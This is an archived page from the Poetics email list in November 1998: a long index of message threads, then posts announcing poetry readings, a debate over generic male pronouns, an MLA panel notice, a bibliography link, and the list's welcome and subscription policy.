337. Gabriel Gudding — Re: Free reading=Interview
338. groberts — Re: After they've seen the Pah'ree Commune (iteee)
339. Jacques Debrot — Re: Silliman et. al.
340. Leonard Brink — Unrecognizable poetry groups
341. Michael Magee — Re: After they've seen the Pah'ree Commune (iteee)
342. dbkk — click click
343. henry gould — Re: are you poet of the problem?
344. miekal and — Re: hw yet to appear
345. Aldon Nielsen — Mr. Feld, I presume
346. Billy Little — Re: hw yet to appear
347. Hannah J Sassaman — CrossConnect Release
348. Mark W Scroggins — Re: And yet more on Hejinian . . .
349. Mark W Scroggins — new publications...
350. Aldon Nielsen — third time's the charm
351. Aldon Nielsen — Re: Mr. Feld, I presume
352. Joe Amato/Kass Fleisher — and the winners are---
353. acgold01 — And yet more on Hejinian . . .
354. KENT JOHNSON — Excuse me, Mark Scroggins
355. Laura Mullen — Re: POETICS Digest - 10 Nov 1998 to 11 Nov 1998 (#1998-121)
356. BETSY ANDREWS — Did anyone say "reification?" The revolution will, unfortunately, be canon...
357. Mark Weiss — query
358. Safdie Joseph — A summary of what sticks
359. charssmith — Re: and the winners are---
360. Aldon Nielsen — "getting the real into words"
361. Aldon Nielsen — meant to ask this in the preceding
362. Katherine Lederer — Reduced rates on student loans (but you have to call them)
363. Hannah J Sassaman — Re: Reduced rates on student loans (but you have to call them)
364. Max Winter — recognizance
365. Safdie Joseph — Re: "getting the real into words"

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366. Peter Quartermain — puff, puff, puff!
367. Eliza McGrand — Re: Free reading=Interview
368. Mark Baker — Re: A summary of what sticks
369. Douglas — Re: And yet more on Hejinian . . .
370. Judy Roitman — Re: "getting the real into words"
371. james perez — re green-ber(g)-nstein
372. Mairead Byrne — Re: re green-ber(g)-nstein
373. KENT JOHNSON — Ghosts at a party
374. dbkk — and the winners are---
375. ken|n|ing — Re: and the winners are---
376. KENT JOHNSON — Surprise!
377. Michael Magee — Re: and the winners are---
378. Pritchett,Patrick — Re: and the winners are---
379. Tenney Nathanson — POG event, Tuesday, Nov 17, 7pm, Dinnerware
380. s. kaipa — KENNING, Interlope, & films!
381. Aldon Nielsen — Ray Bremser
382. Mark Weiss — Re: POG event, Tuesday, Nov 17, 7pm, Dinnerware
383. Mark Weiss — ooops
384. MAYHEW — Irby on Duncan
385. Tom Orange — After they've seen the Pah'ree Commune (iteee)
386. Gabriel Gudding — Re: Free reading=Interview
387. Linda Russo — Re: Hannah Weiner Notes
388. Herb Levy — Maghoolaghan chapbook?
389. Herb Levy — Seattle Hat Trick
390. Robert Manery by way of Dorothy Trujillo <[redacted]>" <[redacted]...
391. Jim Bennett — Welcome to Liverpool

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392. joel lewis — hello, people in d.c.
393. A. Jenn Sondheim — caul, cowl, wimple
394. miekal and — y2k pedagogy
395. Marcella Durand — more operations
396. Dale Smith — The Real and the Social
397. BETSY ANDREWS — Re: hello, people in d.c.
398. david bromige — the real; or, Dale's real
399. Karen Kelley — Re: The Real and the Social
400. A. Jenn Sondheim — credo
401. Dale Smith — Dad
402. Mark DuCharme — Re: fuming
403. michael corbin — Re: fuming

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404. Hank Lazer — e-address?
405. A. Jenn Sondheim — file (fwd)
406. Dale Smith — Re: The Real and the Social
407. Dale Smith — Oops
408. KENT JOHNSON — Re: The Real and the Social
409. John Cayley — FROM: Enzo Minarelli
410. david bromige — Re : Dale's real
411. david bromige — plucking kent's nerve
412. Jay Schwartz — Re: apologies
413. david bromige — apologies
414. Safdie Joseph — Re: apologies
415. MAYHEW — inchoate
416. Max Winter — a quote
417. Katherine Lederer — A Spectacular Chapbook by Juliana Spahr
418. Michael W Bibby — black british poetry

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419. Todd Baron /*/ ReMap — grow DOWN
420. david bromige — re : fuming
421. david bromige — a p.s. to re : fuming
422. david bromige — sheesh, the moment my back is turned!
423. Leonard Brink — Arshile Reading in San Francisco
424. Ron Silliman — Writing like Ron
425. Henry Gould — conference note
426. nicholas grindell — translation conference
427. Mairead Byrne — Re: apologies
428. J Kuszai — scene report--San Diego's Trip to LA
429. Jordan Davis — Writing like Jordan
430. Edward Foster — Re: translation conference
431. Edward Foster — Re: translation conference
432. Edward Foster — Re: translation conference
433. Rachel Levitsky — Great Ladies of Poetry
434. Rachel Levitsky — Re: Great Ladies of Poetry
435. Pritchett,Patrick — NdjenFerno - New from Vatic Hum
436. s. kaipa — Re: Great Ladies of Poetry
437. Henry Gould — no doubt
438. P.Standard Schaefer — RIBOT: oldnewgenerations
439. schuchat — coup de des / loop de loop / doesn't abolish exhaustion
440. Jordan Davis — mos doubt
441. Henry Gould — re mos doubt
442. Tosh — Re: RIBOT: oldnewgenerations
443. Maria Damon — Re: black british poetry
444. Erik Sweet — Re: Backchannel this baby talk!
445. KENT JOHNSON — Bad Boys
446. Jordan Davis — wanna see my Ray Liotta impression?
447. Erik Sweet — The fight is on!
448. Daniel Kane — Bernadette Mayer workshop, 1971-72 or thereabouts
449. henry gould — Re: wanna see my Ray Liotta impression?
450. Dale Smith — Inchoate, a Beginning
451. Charles Bernstein — Olivier Cadiot in New York
452. Ron Silliman — On a positive note
453. s. kaipa — Query

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454. Todd Baron /*/ ReMap — Re: RIBOT: oldnewgenerationsfinallyhereatlast
455. shana — Re: MUSICalifornia
456. Todd Baron /*/ ReMap — MUSICalifornia
457. Mark DuCharme — Fuming & writing like Ron (Deviant Extensions)
458. Gabriel Gudding — Re: Fuming & writing like Ron (Deviant Extensions)
459. Michael Magee — Re: Fuming & writing like Ron (Deviant Extensions)
460. Sylvester Pollet — Re: Fuming & writing like Ron (Deviant Extensions)
461. Jacques Debrot — Re: Fuming & writing like Ron (Deviant Extensions)
462. Michael Magee — Re: Fuming & writing like Ron (Deviant Extensions)
463. Charles Bernstein — Cadiot: Corrected Time
464. Mark Weiss — Re: Fuming & writing like Ron (Deviant Extensions)
465. Joe Amato/Kass Fleisher — Re: Fuming & writing like Ron (Deviant Extensions)
466. Judy Roitman — Re: Fuming & writing like Ron (Deviant Extensions)
467. MAYHEW — Re: Fuming & writing like Ron (Deviant Extensions)
468. Steven Marks — Re: Fuming & writing like Ron (Deviant Extensions)
469. KENT JOHNSON — A couple things
470. tracy s. ruggles — Re: Fuming & writing like Ron (Deviant Extensions)
471. henry gould — Re: Fuming & writing like Ron (Deviant Extensions)

472. Sylvester Pollet — Re: Fuming & writing like Ron (Deviant Extensions)
473. Eliza McGrand — Re: Great Ladies of Poetry
474. Mairead Byrne — Re: Fuming & writing like Ron (Deviant Extensions)
475. KENT JOHNSON — Language as pillow (A Question)
476. Jacques Debrot — Re: Fuming & writing like Ron (Deviant Extensions)
477. ShaunAnne Tangney Humanities — Re: Great Ladies of Poetry
478. david bromige — framing and fuming and writing like Ron/ we passed several days. Don't tell…
479. David Zauhar — Re: Harry Mathews (fwd)
480. Eliza McGrand — overdue address listing for cuisinart
481. Mark DuCharme — Re: Fuming & writing like Ron (Deviant Extensions)
482. David Zauhar — Re: Fuming & writing like Ron (Deviant Extensions)
483. david bromige — a couple of points/lehman contest
484. David Zauhar — Re: A couple things
485. KENT JOHNSON — Post Mortem
486. Mark Prejsnar — Re: Fuming & writing like Ron (Deviant Extensions)
487. nicholas grindell — a frayed knot
488. Jacques Debrot — Re: framing and fuming and writing like Ron/ we passed several days.
489. Mark Weiss — Re: a couple of points/lehman contest
490. MAYHEW — Re: Post Mortem
491. Aldon Nielsen — Re: framing and fuming and writing like Ron/ we passed several days. …
492. Thomas Bell — Re: Fuming and unaffiliated
493. Susan Schultz — Re: Fuming & writing like Ron (Deviant Extensions)
494. tracy s. ruggles — Re: a frayed knot
495. J. Fuhrman — sf reading
496. Leonard Brink — My autopsy
497. aaron armstrong skomra — another Mayer Question
498. Gabriel Gudding — Re: Fuming & writing like Ron (Deviant Extensions)
499. MAYHEW — More on "last avant garde"
500. KENT JOHNSON — La Escuela de Nueva York
501. KENT JOHNSON — Listen, Kent
502. Kent Shaw — critical references to Larry Levis
503. Karen Kelley — Cool new book
504. Eliza McGrand — Re: Listen, Kent
505. Dale Smith — More Waterloo News

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506. Sean Casey — wieners/anderson reading
507. Sean Casey — wieners/anderson reading
508. Edward Fristrom — Re: a couple of points/lehman contest
509. A. Jenn Sondheim — fop-l
510. Gabriel Gudding — Listen, Guantanamo
511. Daniel Zimmerman — Re: a couple of points/lehman contest
512. Michael Magee — Sylvester's jump rope influence
513. Henry Gould — Re: schools of lemons
514. Mairead Byrne — Re: Listen, Kent
515. Pete Landers — Re: Fuming & writing like Ron (Deviant Extensions)
516. Pete Landers — Re: Great Ladies of Poetry
517. Mark Prejsnar — Alerity of Outfluence
518. Steven Clay — Announcing: Log Rhythms by Charles Bernstein & Susan Bee
519. Mark Prejsnar — A Fable for Our Time
520. Gabriel Gudding — Inspitoonshal Sexism
521. Maria Damon — Re: another Mayer Question
522. Timothy Liu — Friedman/Liu/Sewell at Posman Books
523. MAYHEW — Howe on P[ei]rce

524. Pritchett,Patrick — Readings in Boulder
525. schuchat — since maria asked for front-channel
526. joel lewis — f.y.i.
527. David Zauhar — Re: . . . & writing (un)like Ron (Lehman's Last Avant G.)
528. Charles Bernstein — (no subject)
529. Mark Weiss — Re: Sylvester's jump rope influence
530. Mark Weiss — Re: Alerity of Outfluence
531. Mark Weiss — Re: Fuming & writing like Ron (Deviant Extensions)
532. MAYHEW — Re: Alerity of Outfluence
533. A. Jenn Sondheim — Re: your mail
534. Mark Weiss — Re: A Fable for Our Time
535. Mark Weiss — jump rope
536. George Thompson — (no subject)
537. Ramez Qureshi — No Subject
538. Eliza McGrand — Re: Listen, Kent
539. Ron Silliman — Uncle Mark's Fables (the L word)
540. Maria Damon — Re: Listen, Kent

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541. A. Jenn Sondheim — error?
542. Herb Levy — Clamourous Alphabet, Martin Bartlett CD Launch, & other shameless promotion
543. Susan Schultz — Re: cd offer from H=A=W=A=I=`=I
544. Stephen Cope — Re: another Mayer Question
545. Stephen Cope — Re: another Mayer Question
546. George Bowering — Re: and the winners are---
547. Roger Day — Re: f.y.i.
548. Jim Andrews — Enigma n
549. david bromige — free poetics
550. L. MacMahon and T.R. Healy — Re: a couple of points/lehman contest
551. david bromige — Martin Bartlett
552. Eliza McGrand — Re: f.y.i.
553. Henry Gould — free poetics
554. Peter Ganick — poetry & consciousness
555. Michael Magee — Re: poetry & consciousness
556. Sylvester Pollet — (no subject)
557. Pierre Joris — Re: f.y.i.
558. MAYHEW — Re: free poetics
559. Henry — Re: free poetics
560. shana — Re: a couple of points/lehman contest
561. daniel bouchard — boston reading
562. KENT JOHNSON — Nemet-Nejat
563. daniel bouchard — cambridge reading *
564. Mark Prejsnar — Re: Uncle Mark's Fables (the L word)
565. Roger Day — Re: f.y.i.
566. charles alexander — demons & re:sounding
567. Michael Franco — GIZZI & FRANCO READING IN BOSTON
568. tracy s. ruggles — (no subject)
569. Andrew Rathmann — Re: Howe on P[ei]rce
570. MAYHEW — Re: Howe on P[ei]rce
571. Gary Sullivan — BOOK PARTY
572. Mark Weiss — Re: f.y.i.
573. Roger Day — Re: f.y.i.
574. louis stroffolino — Re: BOOK PARTY
575. Gary Sullivan — Re: BOOK PARTY
576. KENT JOHNSON — Dear Uncle Mark and Cousin Ron

577. Henry Gould — Re: Howe on P[ei]rce
578. Mark Prejsnar — the beauty of opacity
579. KENT JOHNSON — PS
580. John Latta — Re: the beauty of opacity
581. Aldon Nielsen — Re: A Fable for Our Time
582. KENT JOHNSON — Re: the late nephew
583. Billy Little — 200 lined up in the rain
584. henry gould — Re: A Fable for Our Time
585. Michael Magee — Re: the beauty of opacity
586. henry gould — Re: Dear Uncle Mark and Cousin Ron
587. Aldon Nielsen — the late nephew
588. Mark Prejsnar — Re: Dear Uncle Mark and Cousin Ron
589. John Latta — Re: the beauty of opacity
590. Aldon Nielsen — Merwin's Folding Cliffs
591. Bob Grumman — Re: poetry & consciousness
592. david bromige — the second death of the L=A=N Author
593. david bromige — p s
594. Mark Weiss — Re: the late nephew
595. Ron Silliman — Irby on Duncan
596. Rachel Loden — my poet laureate can beat up your poet laureate
597. WENDY KRAMER — follow me
598. michael corbin — Re: Dear Uncle Mark and Cousin Ron

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599. Todd Baron /*/ ReMap — tata
600. Mark Weiss — Re: the second death of the L=A=N Author
601. A. Jenn Sondheim — Re: the second death of the L=A=N Author
602. A. Jenn Sondheim — correction
603. Peter Ganick — Re: poetry and consciousness
604. Gabriel Gudding — A Defense of Cheap Shots
605. henry gould — Re: A Defense of Cheap Shots
606. nicholas grindell — Re: tata
607. Michael Magee — Re: my poet laureate can beat up your poet laureate
608. Jacques Debrot — Re: changing consciousness
609. miekal and — executionisms
610. Judy Roitman — Re: changing consciousness
611. Judy Roitman — Re: changing consciousness
612. Kathleen Crown — Susan Howe thread
613. MAYHEW — Re: Irby on Duncan
614. miekal and — Re: Susan Howe thread/Pinsky
615. Tosh — gainsbourg tata
616. miekal and — Poetry readings in this day and age are as spintered...
617. Jacques Debrot — Re: changing consciousness
618. Susan Schultz — Re: Merwin's Folding Cliffs
619. Andrew Rathmann — Re: Susan Howe thread/Pinsky
620. charles alexander — Re: Susan Howe thread/Pinsky
621. MAYHEW — Re: Susan Howe thread/Pinsky
622. Judy Roitman — Re: changing consciousness
623. Katie Degentesh — Re: Susan Howe thread/Pinsky
624. Joe Amato/Kass Fleisher — Re: Susan Howe thread/Pinsky
625. A. Jenn Sondheim — alan's new description on the talker (after deliberation)
626. Marjorie Perloff — Re: Susan Howe/Robert Pinsky thread
627. Henry Gould — Re: Susan Howe thread/Pinsky
628. Judy Smith McDonough — electronic poetry journal announcement
629. Katie Degentesh — Re: Susan Howe thread/Pinsky
630. Dale Smith — The River

631. A. Jenn Sondheim — debris (fwd)

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632. Eliza McGrand — schools vs war vs snoring cat
633. Leonard Brink — Re: Susan Howe/Robert Pinsky thread
634. Rachel Levitsky — Re: Readings in Boulder
635. Rachel Levitsky — not meant for you all
636. Mark Weiss — Re: Susan Howe/Robert Pinsky thread
637. Peter Ganick — Re: changing consciousness
638. miekal and — outtake from preparing _whether hotel_ for PERFORATIONS
639. Robert Archambeau — Re: Susan Howe/Robert Pinsky thread
640. Randy Prunty — Re: changing consciousness
641. Joe Amato/Kass Fleisher — Re: Susan Howe/Robert Pinsky thread
642. Keith Tuma — Re: Susan Howe/Robert Pinsky thread
643. Dale Smith — The River Redux
644. Mark Weiss — Re: changing consciousness
645. Robert Archambeau — Re: tolerance
646. WENDY KRAMER — debbie
647. Ruth Danon — Re: tolerance
648. Gabriel Gudding — Marjorie Perloff is Wrong
649. jen hofer — kent shaw
650. Mark W Scroggins — Re: Marjorie Perloff is Wrong
651. Gabriel Gudding — Re: Marjorie Perloff is DEAD Wrong
652. R.Gancie/C.Parcelli — Re: Marjorie Perloff is Wrong
653. Mark DuCharme — Re: free poetics
654. Joe Amato/Kass Fleisher — Re: Marjorie Perloff is Wrong
655. Joe Amato/Kass Fleisher — oh YEAH...
656. s. kaipa — Re: oh YEAH...
657. Gabriel Gudding — Re: Marjorie Perloff is Wrong
658. Marjorie Perloff — Re: A PS on the Tolerance issue
659. Mark Weiss — Re: tolerance
660. Gabriel Gudding — Re: Oh Yeah!
661. Gabriel Gudding — Re: oh YEAH...
662. George Bowering — (no subject)
663. George Bowering — Re: Martin Bartlett
664. George Bowering — Re: A Defense of Cheap Shots
665. George Thompson — GABRIEL GUDDING IS RIGHT
666. Joe Amato/Kass Fleisher — Re: Oh Yeah!
667. MAYHEW — Re: Marjorie Perloff is Wrong
668. Mark Weiss — Re: Oh Yeah!
669. Susan Schultz — Re: Marjorie Perloff Has a Point
670. Mark Weiss — Re: Marjorie Perloff Has a Point
671. mj devaney — Re: Marjorie Perloff is Wrong
672. A. Jenn Sondheim — Re: Marjorie Perloff Has a Point
673. joel lewis — f.y.i.

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674. J. Fuhrman — my poetry vs. your poetry (the robert pinsky wars)
675. Peter Quartermain — Tolerance -- LONG and IRRITATED post
676. Mark Weiss — Re: my poetry vs. your poetry (the robert pinsky wars)
677. Marjorie Perloff — Re: a second PS on the Pinsky thread
678. Eliza McGrand — Re: oh YEAH...
679. Simon DeDeo — Pinsky & co. at BU
680. miekal and — If I were Poet Laureate
681. Robert Archambeau — Re: tolerance
682. Robert Archambeau — Oxford UP/ACTION
683. Ron Silliman — Rhetorics

684. Gabriel Gudding — Re: Marjorie Perloff is Wrong
685. schuchat — pinsky, tolerance, u.s.w.
686. Gabriel Gudding — Re: A PS on the Tolerance Issue
687. Jim Bennett — Reading
688. Bob Grumman — Re: my poetry vs. your poetry (the robert pinsky wars)
689. Mairead Byrne — Re: Society of Unimportance
690. Gabriel Gudding — SUBMIT YOU DOG
691. Karen Kelley — Re: Oh Yeah!
692. Edward Fristrom — Re: GABRIEL GUDDING IS LEFT
693. Hugh Steinberg — tolerance
694. Michael W Bibby — Re: A PS on the Tolerance issue
695. Joe Amato/Kass Fleisher — Re: Oh Yeah!
696. ken|n|ing — Kenning #3 / the autumn/winter 98 issue
697. Joe Amato/Kass Fleisher — Re: A PS on the Tolerance issue
698. Mark Weiss — Re: Rhetorics
699. Mark Weiss — Re: Marjorie Perloff is Wrong
700. Mark Weiss — Re: Oh Yeah!
701. Mark Weiss — Re: A PS on the Tolerance issue
702. Christopher Reiner — tolerance
703. Bob Grumman — Re: tolerance
704. Donald Wellman — Re: tolerance
705. Michael W Bibby — Re: A PS on the Tolerance issue
706. Billy Little — Re: tolerance
707. Susan Schultz — Re: A PS on the Tolerance issue
708. nuyopoman — Pinsky/Howe
709. Joe Amato/Kass Fleisher — Re: A PS on the Tolerance issue
710. Kathleen Crown — : Re: Marjorie Perloff Has a Point
711. Laura E. Wright — boulder poetry
712. Henry Gould — what is tolerance of thread?
713. Tom Beard — Re: Howe/Pinsky
714. Eliza McGrand — whistles & bangs down the hall
715. Eliza McGrand — Re: Society of Unimportance
716. Tom Beard — Tolerance & the academy
717. Ron Silliman — Further
718. Ron Silliman — Citation
719. MAYHEW — Re: Tolerance & the academy
720. Bob Haynes — Re: tolerance
721. Katie Degentesh — Re: whistles & bangs down the hall

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722. A. Jenn Sondheim — Julu, Waiting on a Lounge Chair
723. Ramez Qureshi — anyone tolerate Reading?
724. Todd Baron /*/ ReMap — Re: need?
725. Angela Szeto — Travel business
726. Gabriel Gudding — Weiss: My Thumbnail Sketch of Am Ren
727. Jim Andrews — Clemente Padin vispo and enigma n for ie4
728. Gabriel Gudding — Perloff & The Rubicon of Stupidity
729. Pete Landers — Re: Susan Howe thread/Pinsky
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1. John Tranter

John Tranter poetry readings, USA and UK, Nov-Dec 1998

Sun 1 Nov 1998

Australian poet and Jacket magazine editor John Tranter
will read from his new book "Late Night Radio" . . .

SAN FRANCISCO

. . . on Thursday November 12 at 4.30 pm (a free event)
Poetry Center SFSU, 1600 Holloway, San Francisco
reading room HUM 512
inquiries [redacted]

ST ANDREWS, SCOTLAND

. . . on Wednesday November 25, at 7 pm (a free event)
at The University, St Andrews
inquiries Prof Robert Crawford, School of English
tel (01334) 462 666, (01334) 476 161

LONDON U.K.

. . . on Wednesday December 2, 6.30 for 7.00 p.m. (a free event)
at AUSTRALIA HOUSE, The STRAND, London WC2B 4LA
inquiries Mr Lee Cooper (0171) [redacted]

"Late Night Radio" ISBN 0 7486 6238 3
October 1998 -- 96 pages -- L 7.95 (Pounds sterling)

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from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at http://www.alm.aust.com/~tranterj/index.html

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2. Rachel Loden

Kent J.

Sun 1 Nov 1998

So don't worry about me. I'm fine, really.
--Kent Johnson

I could not help myself---havent you ever fallen in love in an airport? --George Bowering

I am not a potted plant.
--Oliver North's lawyer, during the Iran-Contra hearings

Unlike those who toy with Kent Johnson, I wanted to write and tell him how moved I was by his confession. Kent, as you may know I found the love of my life, George Bowering, on this list, only to lose him to the obviously made-up "Eliza McGrand" (a.k.a. Pierre Joris), who promised him his choice of small hand-held appliances and a lifetime pass to that fuckfest MLA. Pierre, how could you?? George, I still have the frilly bustier and stained Muk Luks you wore when you read to me nightly from _Renfrew of the Royal Mounted_. But never mind. I have gone on to other things and perhaps you, Kent, can learn something from my degradation.

In solidarity,
Rachel Loden

P.S. Let me know if you'd like my extra copy of the "people who love too much" 365 daily affirmations calendar.

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3. Joe Amato/Kass Fleisher

Re: joking aside, s/he thing

Sun 1 Nov 1998

---

dan, thanx for your response... i'm outta here manana and away from the machine for a week, so this will probably be my last attempt to clear the air a bit...

here's the beef, in a nutshell: that the use of he/him/his as a universal is flawed, esp. from a feminist pov, for alla the reasons so many have rehearsed... that we need to find a different way to handle same (treichler/frank recommend, along with recasting specific sentences, use of they/their, with he or she used alternately (and NOT within the same para)---i find this completely reasonable, and would leave it to writers to work out usage so as to avoid a ping-pong feel to the prose)... the issue, btw, and as i've understood it, has never been about using a "she" (e.g.) when the referent was verifiably a she ("virginia woolf")...

now the way i'm reading you (and the way some others are reading you, i think), is that any attempt to alter the use of he/him/his -- AS *the* ungendered universal -- is "ugly" and equally problematic... that no harm is really done (or has really been done) by the tacit, ungendered universality of the male pronoun per se---that this usage is not harmful in itself, it simply reflects underlying or overarching social realities... ergo that such language practices shouldn't be messed with in any formal, prescriptive sense...

i guess this is what we're disagreeing over, and i'm at a loss as to what more can be said... i certainly wouldn't penalize my students b/c they haven't "gotten with the program"---but this is more a pedagogical issue per se than a language issue... i could ask that you have a closer look at the substantial amount of literature in support of (directly and indirectly) introducing a different usage... generally i'm not in favor of prescriptions mself---i understand this issue in terms of a general recommendation, and one that requires (on my part) relatively little effort, with some beneficial results for certain of my readers (and with very little loss in the way of linguistic precision---i don't find the use of they/their esp. distressful)... i guess you would ask me to reconsider the history of he/him/his usage...

don't know what more there is to say here---the disagreement is over (if i may) the political fall-out of using language this way rather than that... i say there's a LOT at stake in those itsy-bitsy pronouns, and that we would do well to reconsider our deployment of same... you say that what i say is at stake is not really at stake, and that more havoc would be wrought by attempting to "correct" usage along these lines...

so ok, i guess this is where we stop on this issue---though i don't like mself to invoke endings... i just don't know where else to go with this---but it's ok if we have to end things here...

best,

joe

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4. Burt Kimmelman

Re: MLA

Sun 1 Nov 1998

Kathy et alia:

I am presenting a paper on a panel titled "Ellipsis and Silence: The Poetry of George Oppen," on 12/29 at 8:30 AM.

The panel is being chaired by David Clippinger. Other panelists are: Alan Golding, Burt Hatlen, and Gwyn McVay.

An all Poetics-L panel!

Burt Kimmelman
Department of Humanities and Social Sciences
New Jersey Institute of Technology, Newark, NJ 07102
[redacted] (p) [redacted] (f)
[redacted] (e) http://eies.njit.edu/~kimmelma (i)

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5. Daniel Zimmerman

Re: joking aside, s/he thing

Sun 1 Nov 1998

Thanks again, Joe. I don't intend to sound like a nutcase here [e.g., I would not chide a student or anyone else for using the feminine pronoun preferentially, as long as he or she does so consistently within a paper]. It feels as if I'd have to write a book about this to make myself clear, but I doubt anyonme would want to read it. Enjoy your break.

Best,

Dan

Joe Amato/Kass Fleisher wrote:
>
> dan, thanx for your response... i'm outta here manana and away from the
> machine for a week, so this will probably be my last attempt to clear the
> air a bit...
>
> here's the beef, in a nutshell: that the use of he/him/his as a universal
> is flawed, esp. from a feminist pov, for alla the reasons so many have
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> (treichler/frank recommend, along with recasting specific sentences, use of
> they/their, with he or she used alternately (and NOT within the same
> para)---i find this completely reasonable, and would leave it to writers to
> work out usage so as to avoid a ping-pong feel to the prose)... the issue,
> btw, and as i've understood it, has never been about using a "she" (e.g.)
> when the referent was verifiably a she ("virginia woolf")...
>
> now the way i'm reading you (and the way some others are reading you, i
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> is really done (or has really been done) by the tacit, ungendered
> universality of the male pronoun per se---that this usage is not harmful in
> itself, it simply reflects underlying or overarching social realities...
> ergo that such language practices shouldn't be messed with in any formal,
> prescriptive sense...
>
> i guess this is what we're disagreeing over, and i'm at a loss as to what
> more can be said... i certainly wouldn't penalize my students b/c they
> haven't "gotten with the program"---but this is more a pedagogical issue
> per se than a language issue... i could ask that you have a closer look at
> the substantial amount of literature in support of (directly and
> indirectly) introducing a different usage... generally i'm not in favor of
> prescriptions mself---i understand this issue in terms of a general
> recommendation, and one that requires (on my part) relatively little
> effort, with some beneficial results for certain of my readers (and with
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>
> don't know what more there is to say here---the disagreement is over (if i
> may) the political fall-out of using language this way rather than that...
> i say there's a LOT at stake in those itsy-bitsy pronouns, and that we
> would do well to reconsider our deployment of same... you say that what i
> say is at stake is not really at stake, and that more havoc would be
> wrought by attempting to "correct" usage along these lines...
>
> so ok, i guess this is where we stop on this issue---though i don't like
> mself to invoke endings... i just don't know where else to go with
> this---but it's ok if we have to end things here...
>
> best,
>
> joe

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6. KENT JOHNSON

Yasusada bibliography

Sun 1 Nov 1998

Listees:

Because he is using _Doubled Flowering: From the Notebooks of Araki Yasusada_ in his poetics course this semester, Charles Bernstein had suggested that

I prepare a bibliography of work by and about Yasusada. I had sent a copy to the poet and critic Akitoshi Nagahata in Japan, and he kindly offered to put it up on the web. Yasusada has been discussed here from time to time, so I thought I would provide the URL for those who might be interested. (Not listed is a radio feature by Australia Public Radio from Oct. 11-13. The recording can be accessed, I believe, through the APR site.) The bib also contains a number of links to critical articles related to the Yasusada discussion.

http://www.lang.nagoya-u.ac.jp/~nagahata/yasusada-bib.html.

Kent

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7. Poetics List

Welcome to Poetics List

Sun 1 Nov 1998

Rev. 10-31-98

(This message is sent out to all new and renewing subscribers and it is sent out to the list at the beginning of every month)

_____

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

Postal Address: 438 Clemens Hall, SUNY, Buffalo, NY 14260

_____

http://writing.upenn.edu/epc

_____

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[This document was prepared by Charles Bernstein ([redacted]), Loss PequeñoGlazier ([redacted]), and Joel Kuszai ([redacted]).

Above the world-weary horizons New obstacles for exchange arise Or unfold, O ye
postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently almost 700 subscribers.

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

We also encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear (see section 9 below). (THIS MEANS *YOU*).

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *Posting to Poetics is a form of publication, not personal communication.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein. Joel Kuszai is list manager.
For subscription information contact us at [redacted].

---

2. Subscriptions

Subscriptions to Poetics are free of charge. But we ask that you subscribe with your real name and we reserve the right to request additional information, including address and phone number. All subscription information you supply will remain confidential.

with no subject line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity. Please allow several days for your new or re-subscription to take effect.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you may be able to substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply

resubscribe to the list in the normal manner, once your account problem has been resolved.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address: [redacted]. Please note that it may take up to ten days, or more, for us to reply to messages. _____

3. Cautions

Please do not post to the list personal or backchannel correspondence, or other unpublished material, without the express permission of the author. Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

The Poetics List has a 50 message daily limit. If more than 50 messages are received, the listserver will automatically hold those additional messages until the list is manually unlocked, usually the following day. While it is difficult to prescribe a set limit on the number of daily, weekly, or monthly posts for any subscriber, please keep this limit in mind. If you plan to respond to multiple threads, it is generally preferable to consolidate your reply into one message. While relevant excerpts from a post to which you are responding may usefully be appended to your reply, please do not include in your new post the whole text of a long previously posted message. As an outside maximum, the listserv is set to accept no more than 5 messages a day from any one subscriber. Participants who post more frequently than these parameters suggest will receive a reminder asking them to limit the volume of their posts.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files. The use of "styled" text or HTML formatting in the body of email posts to the list appears not to be compatible with the the list's automatic digest program and as result such messages disrupt the format of the Digest, even though this coding is readable for some subscribers who do not use the digest option. When sending to the list, please send only "plain text". Note, however, there is no problem with sending clickable URLs in HTML format

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

